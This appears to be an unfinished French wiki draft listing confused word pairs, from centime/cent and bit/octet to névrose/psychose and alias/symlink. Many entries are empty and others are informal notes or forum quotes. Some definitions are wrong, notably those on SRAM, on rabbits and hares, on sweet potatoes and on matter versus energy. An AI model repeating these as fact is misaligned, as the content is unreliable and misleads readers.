<dd> <p>Ce sont trois appellations pour la même chose, la division monétaire de la monnaie européenne, l’euro.</p> <ul> <li>L’appellation internationale et officielle du sous-multiple de l’euro est ''cent''.</li> <li>Le terme ''eurocent'' est surtout en usage aux U.S.A. pour distinguer le cent US du cent UE.</li> <li>Le terme ''centime'' est utilisé en français pour distinguer la valeur numérique « 100 » de la division monétaire. Je suppose sans pouvoir l’affirmer (je l’ai vu sur des prospectus officiels) que le terme centime est officiel, au moins en France et sûrement en Belgique.</li> </ul> </dd> </dl> === Bénévole/Amateur === <dl> <dt></dt> <dd>La différence est surtout de connotation. Un amateur est un non-professionnel. Avec le temps, ceci à pris une connotation d’incompétence, tant que c’est désormais devenu un terme souvent péjoratif (particulièrement lorsque employé seul). Le terme bénévole est synonyme, mais n’a pas cette péjoration et lui est donc préféré. On peut expliquer que le terme bénévole n’ait pas suivi le destin de son prédécesseur parce que désormais, dans une société où les activités annexes (non rémunérés) sont courantes, il est bien plus facile de trouver des amateurs compétents. Dans certains domaines, comme l’informatique, les amateurs sont parfois, voire souvent, plus compétents que les professionnels. Ainsi, il est de plus en plus fréquent dans les hotlines des entreprises de haute technologie (tenues par des professionnels) de recommander au client de se renseigner sur les forums, presque exclusivement composés d’amateurs.</dd> </dl> === <abbr title="Cheval-vapeur">Ch</abbr>/<abbr title="Cheval fiscal">CV</abbr> === <dl> <dt></dt> <dd></dd> </dl> === bit/octet === <dl> <dt></dt> <dd> <p>Le <dfn>bit</dfn> est l’élément d’information fondamental en informatique ; il prend la valeur 0 ou 1 (d’où l’expression de langage binaire) et on le note <code>b</code>. l’<dfn>octet</dfn> est une série de huit bits que l’on note <code>O</code>.</p> <p>La différence est plus délicate en anglais : <span xml:lang="en">bit</span> et <span xml:lang="en">byte</span>. La notation est encore plus traître : <code>b</code> pour le <span xml:lang="en">bit</span> et <code>B</code> pour le <span xml:lang="en">byte</span>.</p> </dd> </dl> === <abbr title="Magnetic RAM">MRAM</abbr>/<abbr title="Static RAM">SRAM</abbr> === <dl> <dt></dt> <dd>Il s’agit dans les deux cas de mémoire vive qui ne perd pas se données lorsque l’on coupe le courant. Elles sont extrêmement rapides (et chères). La SRAM est depuis longtemps utilisée (dans les mémoires cache) mais la MRAM n’est très récente (les premiers produits utilisant de la MRAM sont attendus pour 2005). J’ignore pourquoi choisir de la MRAM plutôt que de la SRAM.</dd> </dl> === Artiste/Artisan === <dl> <dt>Artiste</dt> <dd></dd> <dt>Artisan</dt> <dd></dd> <!-- DONNÉES POUR COMMENCER <p>Donner l’URI de pompeurs</p> Objet: Rép : [pompeurs-css] Web designer Artiste ou Artisan Date: 8 novembre 2003 00:23:54 GMT+01:00 À: pompeurs@yahoogroupes.fr À la base, il n’y a pas une grande différence entre l’artiste et l’artisan, d’où l’expression ''arts et métiers''. En fait, la différence art/artisanat est assez récente, après 1500 peut-être même XVIII siècle. Il me semble même que la différenciation c’est fait pour des raisons matérielles et financières/fiscales, en tout cas, pas sur quelque chose de reluisant. <blockquote cite="http://www.francophonie.hachette-livre.fr/cgi-bin/sgmlex2?A.SCIP.AL0435500"> <p>Personne qui exerce pour son propre compte un art mécanique ou un métier manuel, souvent de type traditionnel.</p> </blockquote> <p>Selon le <cite>Dictionnaire historique de la langue française</cite> (Robert, 3 volumes), le terme ''artisan'' est apparu en 1409.</p> <p>Une première distinction apparaît au XVI<sup>e</sup> siècle :</p> <ul> <li>artisan : arts mécaniques</li> <li>artiste : arts libéraux, dont beaux-arts</li> </ul> <p>Et une seconde au XIX<sup>e</sup> siècle :</p> <ul> <li>art approprié par le romantisme</li> <li>artisan travailleur manuel à son compte par opposition à l’ouvrier ouvrier</li> </ul> <blockquote cite="http://fr.groups.yahoo.com/group/pompeurs/message/5409"> <p>Comme art lui-même, artiste a un contenu incertain : centré sur les arts plastiques (peintre, dessinateur, sculpteur)" à un moindre titre sur l’architecture, il peut englober ou non les arts du son (musicien, compositeur, interprète, du langage (écrivain, poète) et du spectacle ; cette imprécision logique et favorable à un sémantisme affectif et largement lié aux jugements de valeur sociaux.</p> </blockquote> Vérifier que c’est bien la citation originale <p>Donner l’URI de pompeurs</p> Objet: Rép : [pompeurs-css] Web designer Artiste ou Artisan Date: 8 novembre 2003 00:23:54 GMT+01:00 À: pompeurs@yahoogroupes.fr <p>Selon Karl Dubost, <span xml:lang="en">Conformance Manager</span> au W3C :</p> <blockquote> <p>2. Artiste/Artisan</p> <p>Un designer n’est pas un artiste, mais bien un artisan. Cela n’enlève rien à la qualité de l’exécution, mais cela réintègre une dimension technique. Lorsque tu parles d’un concepteur de voiture, de poignées de portes, etc., tu parleras toujours d’un besoin de bonne conception.</p> <p>Respecter des normes n’a rien à voir, mais strictement rien à voir avec la qualité « artistique » du site. Ça, c’est une chimère.</p> <p>Un artiste est bien quelqu’un qui vit dans des contraintes en permanence. S’il utilise le fusain, ou l’aquarelle, il ne pourra pas utiliser la technique de la peinture à l’huile, etc. Un designer qui fait du <span xml:lang="en" style="font-style:italic">print</span>, n’aura pas les mêmes contraintes quand il passera au Web. Chaque médium possède ses contraintes propres. Respecter les standards, normes Web, ce n’est pas une diminution de ta créativité, c’est plutôt une expression encore plus poussée de ta créativité. Le plus bel exemple de cela :</p> <p style="text-align:center"><a href="http://www.mezzoblue.com/zengarden/alldesigns/" hreflang="en">http://www.mezzoblue.com/zengarden/alldesigns/</a></p> <p>PS: Je ne nie pas qu’il puisse y avoir des projets artistiques sur le Web. Mais un site Web de service est typiquement quelque chose qui est en dehors de ce domaine.</p> </blockquote> <q>La compréhension du mot <dfn>artisan</dfn> peut être retrouvée dans la définition initiale du mot, l’artisan pratiquant l’art au sein du métier et de l’''habileté manuelle''. En comparaison, le terme <dfn>artiste</dfn> correspond davantage à la définition plus moderne du mot art : l’artiste est un créateur d’œuvres d’art, c’est-à-dire d’œuvres susceptibles d’être jugées belles par ses pairs, et d’exprimer un idéal ''esthétique''.</q><br /> </dl> === Épique/Héroïque === <dl> <dt></dt> <dd></dd> </dl> === Pressentiment/Prémonition/Précognition === <dl> <dt></dt> <dd>Être mis en garde à l’avance/Connaître à l’avance<br /> <span class="source">Rupert Sheldrake</span></dd> </dl> === Gravité/Pesanteur/Gravitation/Attraction terrestre === <dl> <dt>Gravité</dt> <dd></dd> <dt>Pesanteur</dt> <dd></dd> <dt>Gravitation</dt> <dd>Phénomène par lequel deux corps s'attirent mutuellement</dd> <dt>Attraction terrestre</dt> <dd></dd> </dl> Voir [http://www.cybersciences.com/Cyber/2.0/Q1266.asp Quelle est la différence entre la gravité et la gravitation?] === Katakana/Hiragana === <dl> <dt></dt> <dd></dd> </dl> === Se plaindre/Râler === <dl> <dt></dt> <dd></dd> </dl> === Maxime/Citation/Dicton/Adage/Proverbe/Édile === <dl> <dt></dt> <dd></dd> </dl> === Axiome/Postulat/Prédicat/Prémisse === <dl> <dt></dt> <dd></dd> </dl> === Névrose/Psychose === <dl> <dt></dt> <dd><!--Mettre l’URL du message (Psychopathologie sur Empyrée) --> <ul> <li>Différence quantitative : la seconde est plus grave. Le psychotique ne se rend même plus compte qu’il l’est. Il perd la notion totale de réalité, de morale, donc il peut devenir très dangereux socialement (et il est très dur à soigner, car il n’a aucun lien avec la réalité telle que les sains d’esprit la conçoivent, ce qui nous permet de vivre ensemble. Il n’y a aucun lien directeur qui permettant de le ramener petit à petit dans le monde social… Il reste dans son monde, comme les autistes si je ne m’abuse).</li> <li>Différence qualitative : n’arrive pas à s’adapter à son environnement, c’est-à-dire à distinguer ce qui est du domaine intérieur/affectif et ce qui est du domaine extérieur/objectif. C’est ce que l’on pense, mais personne ne les comprend vraiment en fait.</li> </ul> </dd> </dl> === Mythomanie/Paraphrénie === <dl> <dt></dt> <dd><!--Mettre l’URL du message (Psychopathologie sur Empyrée) --> Le mythomane ne croit pas à ce qu’il raconte. Il est plutôt histrionique.</dd> </dl> === Perversion/Perversité === <dl> <dt></dt> <dd>Passion, voire obsession pour quelque chose qui n’a pas cette fonction à la base (exemple : fétichisme).<br /> Perversion : obsession involontaire<br /> Perversité : obsession consciente et délibérée, envie intentionnelle de faire du mal aux autres.<br /> Le pervers est atteint de perversion, pas de perversité.</dd> </dl> === Potage/Soupe/Velouté/Bouillon === <dl> <dt></dt> <dd></dd> </dl> === Suzerain/Souverain === <dl> <dt></dt> <dd><cite xml:lang="en">I’m going to France</cite> 2003-2004, p. 20, ISSN : 1288 4804</dd> </dl> === Spitzberg/Svalbard === <dl> <dt></dt> <dd>L’un est hypernyme de l’autre.</dd> </dl> === Thème/Version === <dl> <dt>Thème</dt> <dd>Traduction d'une langue natale vers une langue étrangère. Exercice difficile, il a donné l'expression ''[[wikt:être fort en thème|être fort en thème'']].</dd> <dt>Version</dt> <dd>Traduction d'une langue étrangère vers une langue étrangère</dd> </dl> - le 2ème est généralement plus difficile : on se débrouille en version mais c'est la crise en thème (lol) - (source : dracula 2) === Turkestan/Turkménistan === <dl> <dt></dt> <dd></dd> </dl> === Parenthèse/Virgule/Tiret demi-cradatin === <dl> <dt></dt> <dd></dd> </dl> === Gouvernant/Gouverneur === <dl> <dt></dt> <dd></dd> </dl> === Alternative/Solution === <dl> <dt></dt> <dd>Voir Antidote</dd> </dl> === Sécuritaire (Québec)/Sécuritaire (France) === <dl> <dt></dt> <dd></dd> </dl> === [CSS] Italique/Oblique === <dl> <dt></dt> <dd></dd> </dl> === Expérience/Expérimentation === <dl> <dt></dt> <dd></dd> </dl> === Efficacité/Efficience === <dl> <dt></dt> <dd>http://csiweb2.cite-sciences.fr/derosnay/outils/Temps.html</dd> </dl> === Vrykolaka/Cauchemar === <dl> <dt></dt> <dd></dd> </dl> === Schizophrénie/Personnalités multiples === <dl> <dt></dt> <dd>Début de réponse. http://fr.groups.yahoo.com/group/empyree/message/1201 Voir aussi dans mes listes d’incarnés et http://fr.groups.yahoo.com/group/empyree/message/1209 http://fr.groups.yahoo.com/group/empyree/message/1214 </dd> </dl> === Amulette/Talisman === <dl> <dt></dt> <dd>Amulette : Objet que l’on porte sur soi et qui sert de protecteur passif (à l’inverse du Talisman).</dd> </dl> === Pantacle/Pentacle/Pentagramme === <dl> <dt></dt> <dd>http://fr.groups.yahoo.com/group/empyree/message/397</dd> </dl> === Riff/Sample === <dl> <dt>Riff</dt> <dd></dd> <dt>Sample</dt> <dd></dd> </dl> <!-- NOTES POUR COMMENCER riff from "kashmir" (not a sample, Jimmy Page recorded it anew just to make some more money) [<a href="http://www.peopletalktooloud.com/cgi-bin/ikonboard/topic.cgi?forum=5&amp;topic=128">source</a>] --> === Pré-AO/PAO === <dl> <dt>Pré-AO</dt> <dd></dd> <dt>PAO</dt> <dd></dd> </dl> <!-- DONNÉES POUR COMMENCER Ben, de la PAO si tu lui donnes un document avec un bon à tirer, de la pré-PAO si tu le donnes à un maquettiste pour qu’il le finalise, mais je ne crois pas que ce soir le cas. --> === Congratulation/Félicitation === Initialement un anglicisme, une congratulation est ''aujourd'hui'' une félicitation militaire officielle. « ''Les mots, en passant du substantif au verbe, ont rarement la même signification ; féliciter, qu'on emploie au lieu de congratuler, ne veut pas dire rendre heureux'' », VOLT. Dict. phil. Félicité., [http://francois.gannaz.free.fr/Littre/xmlittre.php?requete=substantif cité par le ''Littré'']. <dl> <dt></dt> <dd></dd> </dl> === Gourmé/Compassé/Affecté/Guindé === === Clinique/Polyclinique === <dl> <dt></dt> <dd>Le vrai équivalent privé d’un hôpital, c’est la polyclinique, la clinique étant plus l’équivalent d’un département</dd> </dl> === Don/Donation === <dl> <dt></dt> <dd>http://fr.wikipedia.org/wiki/Wiki %E9dia:Le_Bistro À propos, donations est correct en français? --Looxix Non, et c’est pour cela que j’ai corrigé, dans la page d’Accueil, l’encart sur le don. Donation possède, en français (je ne parle pas de l’anglicisme) deux sens, principalement : • « Contrat par lequel une personne (le donateur) se dépouille actuellement et irrévocablement de la chose donnée en faveur d’une autre (le donataire) qu il’accepte ; • acte qui constate le don. » (Petit Robert électronique). Bref, don signifie bien « acte de donner », pas donation. Le TLFi va encore plus loin : « Contrat solennel par lequel une personne, le donateur, se dépouille irrévocablement, sans contre-partie et dans une intention libérale, d’un bien, en faveur d’une autre personne, le donataire, qui y consent. » Un roi fait donation d’un territoire à une seigneurie, par exemple, parce qu’il y a un contrat. Ce n’est pas le cas avec les dons que l’on peut faire à Wikipédia : nous ne contractons pas avec cette société, nous offrons de manière désintéressée. Vincent7 oct 2003 à 23:11(CEST)</dd> </dl> === Moyen/Médiocre/Passable === <dl> <dt></dt> <dd></dd> </dl> === écœuré/dégouté === <dl> <dt></dt> <dd></dd> </dl> === Charade/Rébus === <dl> <dt></dt> <dd>Le rébus est une charade d’image</dd> </dl> === Drogue/Stupéfiant/Passion === <dl> <dt></dt> <dd>Une <dfn>drogue</dfn> est quelque chose qui provoque une ''accoutumance''. Ce peut être un <dfn>stupéfiant</dfn> (<samp>cannabis, héroïne</samp>…) ou assimilé (<samp>alcool, tabac</samp>…) ou bien une <dfn>passion</dfn> (<samp>travail, informatique, sexe</samp>…). Ici, le terme de passion est pris au sens étymologique (passion du Christ) : quelque chose contre lequel on ne peut rien faire. Certains préféreront, pour marquer davantage la différence, parler alors d’obsession.</dd> </dl> === Pandémie/Épizootie === <dl> <dt></dt> <dd></dd> </dl> === Chant/chanson === <dl> <dt></dt> <dd></dd> </dl> === Acronyme/abréviation === <dl> <dt></dt> <dd>Un acronyme est prononçable (<samp>le <abbr title="SERvice NAtional de Marchandise">SERNAM</abbr></samp>), une abréviation ne l’est pas (<samp> le <abbr title="Train à Grande Vitesse">TGV</abbr></samp>). Certains sont discutables (<samp> <abbr title="Union des Républiques Socialistes Soviétiques">URSS</abbr>, parfois épellée, parfois prononcé comme une seule syllabe</samp>)</dd> </dl> === Mass driver/Rail gun === <dl> <dt></dt> <dd></dd> </dl> === Nation/Patrie === <dl> <dt></dt> <dd></dd> </dl> === Célérifère/Vélocyclette/Bicyclette/Vélomoteur/Cyclomoteur/Motocyclette === <dl> <dt></dt> <dd></dd> </dl> === Probité/Intégrité === <dl> <dt></dt> <dd></dd> </dl> === Pléonasme/Tautologie/Lapalissade === <dl> <dt></dt> <dd></dd> </dl> === Miracle/Prodige === <dl> <dt></dt> <dd> Le miracle est un événement inexplicable d’origine religieuse. l’origine du prodige n’est pas religieuse. <ul> <li>Miracle : événement inexplicable d’origine religieuse.</li> <li>Prodige : événement inexplicable d’origine non religieuse.</li> </ul> </dd> </dl> === Rock/Country === <dl> <dt></dt> <dd></dd> </dl> === Facile/Trivial === <dl> <dt></dt> <dd>Trivial signifie facile en anglais, mais en français, c’est plus un terme méprisant, genre ne vaut pas la peine que l’on si attarde, à rapprocher d’arguties</dd> </dl> === Argument/Argutie === <dl> <dt></dt> <dd></dd> </dl> === JavaScript/JScript === <dl> <dt></dt> <dd>JavaScript is ECMAScript with Netscape/Mozilla additions, JScript is ECMAScript with Microsoft additions.</dd> </dl> === Liminaire/Préliminiaire === <dl> <dt></dt> <dd></dd> </dl> === Antisémitisme/Antisionisme/Judéophobie === <dl> <dt></dt> <dd></dd> </dl> === Danger/Dangerosité === <dl> <dt></dt> <dd></dd> </dl> === Expatrié/Apatride === <dl> <dt></dt> <dd></dd> </dl> === Facultatif/Optionnel === <dl> <dt></dt> <dd></dd> </dl> === Gérant/Gestionnaire === <dl> <dt></dt> <dd></dd> </dl> === Race/Sous-espèce === <dl> <dt></dt> <dd></dd> </dl> === Général/Générique === <dl> <dt></dt> <dd></dd> </dl> === Superpuissance/Hyperpuissance === <dl> <dt></dt> <dd></dd> </dl> === Chevalin/Équin === <dl> <dt></dt> <dd></dd> </dl> === Cyclothymique/Maniaco-dépressif === <dl> <dt></dt> <dd></dd> </dl> === Souvenir/Souvenance === <dl> <dt></dt> <dd></dd> </dl> === Accoutumance/Addiction === <dl> <dt></dt> <dd></dd> </dl> === Lapin/Lièvre === <dl> <dt></dt> <dd>Cas le plus spectaculaire d’évolution convergente, le lapin et le lièvre sont deux espèces différentes qui n’ont en commun que d’être des mammifères (ils n"ont même pas le même nombre de chromosomes)</dd> </dl> === Maison/Maisonnée, Matin/Matinée… === <dl> <dt></dt> <dd>Contenant,/contenu</dd> </dl> === Accoutumance/Addiction === <dl> <dt></dt> <dd></dd> </dl> === Supermarché/Hypermarché === <dl> <dt></dt> <dd></dd> </dl> === Agnostique/Athée/Déiste === <dl> <dt></dt> <dd>Avec les deux types d’agnostiques. http://fr.groups.yahoo.com/group/empyree/message/372</dd> </dl> === Dangereux/Nocif === <dl> <dt></dt> <dd>Prendre l’exemple de la réébullition de l’eau : dangereux par risque de surfusion mais pas nocif (santé).</dd> </dl> === Socialisme/Communisme/Marxisme/Marxisme-Léninisme/Léninisme/Trotskisme/Stalinisme/Soviétisme === <dl> <dt></dt> <dd></dd> </dl> === DDOS/Slashdot Effect === <dl> <dt></dt> <dd>Le premier est un technique de piratage consistant à saturer un serveur de requêtes jusqu’à ce qu’il croule sous le poids et tombe. Le second est la même chose, mais involontaire : quand un site est référencé par un autre site avec un fort lectorat (historiquement Slashdot), tout le monde veut aller sur ledit site qui croule sous le poids et tombe.</dd> </dl> === Logiciel/Programme === <dl> <dt></dt> <dd>La différence entre un logiciel et un programme peut paraître un peu plus subtile. Un programme n’est en fin de compte qu’une séquence d’instructions (ne parle-t-on pas par exemple de programme génétique…), tandis qu’un logiciel est un ensemble plus complexe alliant programmes et données. Ces données peuvent être très diverses : textes, images, sons, animations, etc. http://www.clever-age.com/article.php3?id_article=165 Ajouter que pour moi Algorithme est aussi écrit dans un langage, en l’occurrence, le langage mathématique</dd> </dl> === Laïc/Athée/Païen/Laïque === <dl> <dt></dt> <dd><tt>Éclaircir par rapport à « État laïque » et « laïcité »</tt></dd> </dl> === Pop/Rock === <dl> <dt></dt> <dd></dd> </dl> === Génocide/crimes de guerre/crime contre l’humanité === <dl> <dt></dt> <dd></dd> </dl> === Firme/compagnie/entreprise/société === <dl> <dt></dt> <dd></dd> </dl> === Florilège/Anthologie === <dl> <dt></dt> <dd></dd> </dl> === Feuilleton/Série/Saga === <dl> <dt></dt> <dd> <p><dfn>Série</dfn> est un terme générique pour une suite d’histoire avec peu de liens entre eux (généralement, les mêmes héros ou le même environnement).</p> <p>Un <dfn>feuilleton</dfn> est une seule histoire découpée en plusieurs parties. Dans une série TV, les épisodes en deux parties sont, techniquement, un feuilleton. Le feuilleton a débuté dans les journaux (Balzac) est actuellement très populaire dans les <span xml:lang="en">soap operas</span> (<cite>Dallas</cite>, <cite>Santa Barbara</cite>, <cite>Les Feux de l’amour</cite>) et, parfois, au cinéma (la trilogie du <cite>Seigneur des Anneaux</cite>).</p> <p><dfn>Saga</dfn> devrait être limité aux récits mythologiques nordiques. Il a pris aujourd’hui le sens de récit épique en plusieurs volets (la saga de la <cite>Guerre des Étoiles</cite>), voire de série tout court, du moment que le tiroir-caisse fonctionne (exemple, la saga <cite>Taxi</cite> ou <cite>Harry Potter</cite>). La seule véritable saga moderne est peut-être le <cite>Seigneur des Anneaux</cite>, puisque J.R.R. Tolkien voulait justement recréer une saga.</p></dd> </dl> === Droit d’auteur/Copyright === <dl> <dt></dt> <dd id="copyright">copyright : droit (financier) de copie, anglo-saxon, il concerne surtout les droits patrimoniaux</dd> <dd>droit d’auteur : français, comprend aussi les droits moraux</dd> </dl> === ''Trademark''/''Copyright''/''Patent'' === <dl> <dt></dt> <dd></dd> <dd></dd> </dl> === Marnage/Marée === <dl> <dt></dt> <dd></dd> </dl> === Intégrisme/Fondamentalisme/Islamisme === <dl> <dt></dt> <dd>Lecture littérale/Passage à l’acte/Fondamentalisme islamique. Terme exclusivement français, pas de valeur ajouté par rapport à fondamentalisme islamique.</dd> </dl> === Nudiste/Naturiste/Naturaliste === <dl> <dt></dt> <dd></dd> </dl> === Avarice/Rapacité === <dl> <dt></dt> <dd></dd> </dl> === Agoraphobie/Démophobie === <dl> <dt></dt> <dd>Note : il n’e s’agit pas de différencier toutes les phobies ; il se trouve que ces deux-là sont souvent confondues.</dd> </dl> === Propédeutique/CEGEP === <dl> <dt></dt> <dd></dd> </dl> === Tornade/Hurricane/Ouragan/Typhon/Cyclone/Trombe/Tempête/Tsunami/Raz-de-marée === <dl> <dt></dt> <dd></dd> </dl> === Maure/Sarassin === <dl> <dt>Maure</dt> <dd>Ancien nom pour une éthnie ''berbère'' qui entre autre conquit l'Espagne, au Moyen-Âge</dd> </dl> <dt>Sarassin</dt> <dd>Ancien nom pour les ''Arabes'', au Moyen-Âge</dd> === Monastique/Monacal === <dl> <dt></dt> <dd></dd> </dl> === Cynique/Sarcastique/Mordant/Grinçant === <dl> <dt></dt> <dd></dd> </dl> === Déçu/Désappointé === <dl> <dt></dt> <dd></dd> </dl> === Bœuf/Taureau/Taurillon/Veau === <dl> <dt></dt> <dd></dd> </dl> === Réalisme/Vraisemblance/Vérisimilitude === <dl> <dt></dt> <dd></dd> </dl> === Cochon/Porc/Verrat === <dl> <dt>Cochon</dt> <dd>Espèce, mâle castré et mâle indifférencié.</dd> <dt>Verrat</dt> <dd>Cochon mâle non-castré.</dd> <dt>Porc</dt> <dd>Viande de cochon.</dd> </dl> === Critique/Reproche === <dl> <dt></dt> <dd></dd> </dl> === Alias/Lien symbolique relatif/lien symbolique absolu/lien dur === <dl> <dt></dt> <dd>Référence à relatif et absolu dans les préférences de glisser-déposer de <code>LaunchBar.app/Contents/Resources/DragAndDrop.htmlLaunchBar.app/Contents/Resources/index.html</code> Aliases are similar to symbolic links in the sense that it allows multiple references to a file or directory. However, if you move the target (without replacing it), a symlink would break, while an alias would alias 56ko, symlink 4ko Plus Cocktail dans son help.pdf Links Mac OS Standard (HFS) and Mac OS Extended (HFS+) file systems include the file system entity known as an alias. An alias bears some similarities to a symbolic link in a UFS file system, but the differences are significant. Aliases are associated with Mac OS Standard (HFS) and Mac OS Extended (HFS+) volume formats; symbolic links are a feature of UFS file systems. Both aliases and symbolic links allow multiple references to files and folders without requiring multiple copies of these items. Prior to Mac OS X 10.2, aliases and symbolic links behaved very differently when a referenced file or folder moved or changed. Originally, aliases located a file or folder using its unique identity first and its pathname second. If you moved a file on the same volume, any aliases pointing to that file would still point to the original file. If you deleted a file and replaced it with an identically-named file, aliases would still work because they could locate the file by its pathname. Beginning with Mac OS X 10.2, aliases now reverse this search order by using the pathname first and unique identity second. Because aliases and symbolic links both use a file system path to resolve a fileʼs location, they now offer a similar initial behavior. If you replace a file with an identically-named file, moving the old file to a new location, both aliases and symbolic links point to the new file. However, if you move a file without replacing it, symbolic links to the file break while aliases do not. Cocktail allows you to easily create symbolic links by dragging a source item, dropping it on a button with a Terminal icon and saving it with your desired name to a specified location.</dd> </dl> === Mascotte/Logo === <dl> <dt></dt> <dd>Voir mon entrée de blog</dd> </dl> === haricots blancs/flageolets === <dl> <dt></dt> <dd></dd> </dl> === Pomme de terre/Patate === <dl> <dt>Pomme de terre</dt> <dd>Tubercule</dd> <dt>Patate</dt> <dd>Nom familier pour la pomme de terre, dérivé de la ''patate douce'', une variété de pomme de terre plus sucrée</dd> </dl> Au départ : 2 tubercules différents, qui de ressemblent ( patate plus sucrée). Familierement : patate utilisée pour p.d.terre. <small>Patate douce est-il un hyponyme de pomme de terre?</small> === Hindi/Hindu === <dl> <dt></dt> <dd>http://www.kernelthread.com/miscellaneous/devnagri.html</dd> </dl> === Bâtard/Corniaud === <dl> <dt>Bâtard</dt> <dd>Croisement entre un chien de race et un chien courant</dd> <dd>Initialement, enfant illégitime d'un roi ou d'un noble. Actuellement : enfant illégitime ou né hors mariage</dd> <dt>Corniaud</dt> <dd>Mélange quelconque de race indéfinissable</dd> <dd>Terme péjoratif</dd> </dl> === Médicinale/Médicamenteux === <dl> <dt></dt> <dd></dd> </dl> === Anarchisme/Anarchie === <dl> <dt></dt> <dd></dd> </dl> === Scolaire/Universitaire === <dl> <dt></dt> <dd>Un ton scolaire est péjoratif, symptomatique d’une pensée maladroitement exprimée en suivant de manière rigide un schéma d’expressions toutes faites. Un ton universitaire conserve la même rigueur (voire austérité) mais est plus créatif et plaisant à lire. Le scolaire est l’apanage du débutant et l’universitaire du maître.</dd> </dl> === matière/énergie === <dl> <dt></dt> <dd> <ul> <li>masse &gt; 0 : matière</li> <li>masse = 0 : énergie</li> <li>masse &lt; 0 : solution non physique</li> </ul> </dd> </dl> === Démultiplier/diviser === <dl> <dt></dt> <dd></dd> </dl> === Saucisson/Saucisse sèche === <dl> <dt></dt> <dd></dd> </dl> === Dévot/Fidèle === <dl> <dt></dt> <dd></dd> </dl> === Œuvre/ouvrage === <dl> <dt></dt> <dd></dd> </dl> === Politesse/courtoisie === <dl> <dt></dt> <dd></dd> </dl> === Renom/Renommée === <dl> <dt></dt> <dd>Suis la même règle que les autres contenants/contenus. Il s’agit donc ici surtout d’expliquer la différence entre les deux termes eux-mêmes (la renommée est-elle la conséquence du renom?)</dd> </dl> === Darwinisme/Néo-darwinisme === <dl> <dt></dt> <dd> <blockquote cite="http://www.automatesintelligents.com/biblionet/2000/dec/jj_kupiec_p_sonigo.html"> <p>Nous opposerons [au darwinisme] la théorie néodarwinienne intégrant les acquis de la génétique et de la biologie moléculaire. Par rapport à l’énoncé original darwinien, cette théorie définit un mécanisme de variation au hasard : il touche uniquement les gènes qui, au cours de leur réplication, subissent diverses modifications et mélanges (mutations, recombinaisons, etc.). Selon cette conception, ce qui mène des gènes aux cellules, puis aux niveaux les plus complexes d’organisation serait aussi étroitement déterminé que la table du code génétique qui fait correspondre la structure des gènes à l’enchaînement des acides aminés sur les protéines." Le Darwinisme au contraire laisse ouvertes toutes les possibilités de variation au hasard, non seulement celles touchant les gènes (dont nous supposons que Sonigo ne nie pas la possibilité: bien sûr, c’est un des mécanismes de variation, mais ça n’est pas le seul), mais aussi celles touchant en amont et en aval les molécules et les cellules.</p> </blockquote> </dd> </dl> === Mêlée/corps à corps === <dl> <dt></dt> <dd></dd> </dl> === Glace/Sorbet === <dl> <dt>Glace</dt> <dd>Crème glacée</dd> <dd>Crème glacée sans fruits (chocolat, café)</dd> <dt>Sorbet</dt> <dd>Crème glacée avec beaucoup d’eau. Voir aussi [[#Jus/Nectar]]</dd> <dd>Crème glacée aux fruits (fraise, framboise…)</dd> </dl> <small>La vanille est-elle considérée comme un fruit?</small> === Hip-Hop/Rap === <dl> <dt></dt> <dd><p>Problème : on peut commencer une section entière par ça. Exemple, Pop et Rock, Rap et R&amp;B, R&amp;B et Rythm’n Blues ?</p></dd> RAP : musique <br> Hip Hop regroupe le rap, le style vestimentaire et l'art du graffiti. C'est plus qu'un style musical c'est un mode de vie </dl> === Cooptation/Invitation === <dl> <dt></dt> <dd></dd> </dl> === Secte/Culte === <dl> <dt></dt> <dd><p>Ne pas confondre l’anglais <dfn xml:lang="en">cult</dfn> (secte) et le français <dfn>culte</dfn> (<tt>chercher dans le dictionnaire</tt>).</p></dd> </dl>------- Le culte est '''la pratique''' d'une religion ou, pourquoi pas, d'une secte. Par extention culte est parfois devenu synonyme de religion ( très curieusement on dit plus facilement "culte musuman" que "culte catholique" ou autre). Différence entre secte et religion ? une religion c'est une secte qui a réussi. (source dracula 2) === Gentil/Chrétien === <dl> <dt></dt> <dd></dd> </dl> === Huguenot/Protestant === <dl> <dt></dt> <dd></dd> </dl> === Anglicanisme/Calvinisme/Luthérianisme/Méthodisme/Pentecôtisme ? === <dl> <dt></dt> <dd><p>Problème : on peut commencer une section entière par ça, avec aussi Salafite, Chiite et Sunnite ?</p></dd> </dl> === Arcadie/Acadie/Nouvelle-France === <dl> <dt>Nouvelle-France</dt> <dd>Ensemble des colonies françaises en Amérique du Nord</dd> <dt>Acadie</dt> <dd>Hyponyme de Nouvelle-France</dd> <dt>Arcadie</dt> <dd>Région grecque</dd> </dl> === Forteresse/Château fort/Citadelle === <dl> <dt></dt> <dd></dd> </dl> === Fonte/Police === <dl> <dt></dt> <dd></dd> </dl> === GPL/LGPL/MPL/BSD-license(/autres ?) === <dl> <dt></dt> <dd></dd> </dl> === Dossier/Répertoire === <dl> <dt></dt> <dd></dd> </dl> === Facile/Trivial === <dl> <dt></dt> <dd><p>Tout comme opportunité, trivial est un mot qui a perdu dans la vie courante son sens original pour adopter le sens anglo-saxon.</p> <p>En anglais, trivial signifie facile, ni plus ni moins. En français en revanche, ila un sens plus péjoratif. Quelque chose de trivial non seulement est facile, mais est aussi ''considéré avec dédain'', comme si sa facilité même était raison de dénigrement. On peut dire que les skaldes trouvaient la poésie trop triviale si elle n’était agrémentée de kennings.</p></dd> </dl> === <span id="caractere">Caractère</span>/<span id="glyphe_typo">Glyphe</span> === <dl> <dt></dt> <dd></dd> </dl> === Caractère === <dl> <dt></dt> <dd>Une lettre, un symbole. C’est de la sémantique, du contenu</dd> </dl> === Glyphe === <dl> <dt></dt> <dd><p>La forme d’une lettre, d’un symbole. C’est de la forme, de la présentation</p> <p>Ne pas confondre une <tt>(un? vérifier le genre)</tt> glyphe avec les <a href="#hieroglyphes">hiéroglyphes</a>.</p> </dd> </dl> === Soliton/Mascaret === <dl> <dt>Mascaret</dt> <dd>Hyponyme de soliton, c’est un soliton dans l’eau. C’est le plus ancien exemple de soliton, c’est pourquoi il a un nom spécifique.</dd> <dt>Soliton</dt> <dd></dd> </dl> === Infraction/contravention/délit/crime === <dl> <dt></dt> <dd><p>Infraction est l’hypernyme pour les trois suivants, qui sont de gravité croissante.</p></dd> </dl> === Discussion/dialogue === <dl> <dt></dt> <dd></dd> </dl> === verdict/jugement/décision === <dl> <dt></dt> <dd><p><q cite="http://www.u-blog.net/eolas/note/64">Le jugement ou la décision. Le verdict est rendu par la Cour d’assises seulement. Verdict vient de vere dictio : dire la vérité.</q></p></dd> </dl> === Substitution/remplacement === <dl> <dt></dt> <dd></dd> </dl> === 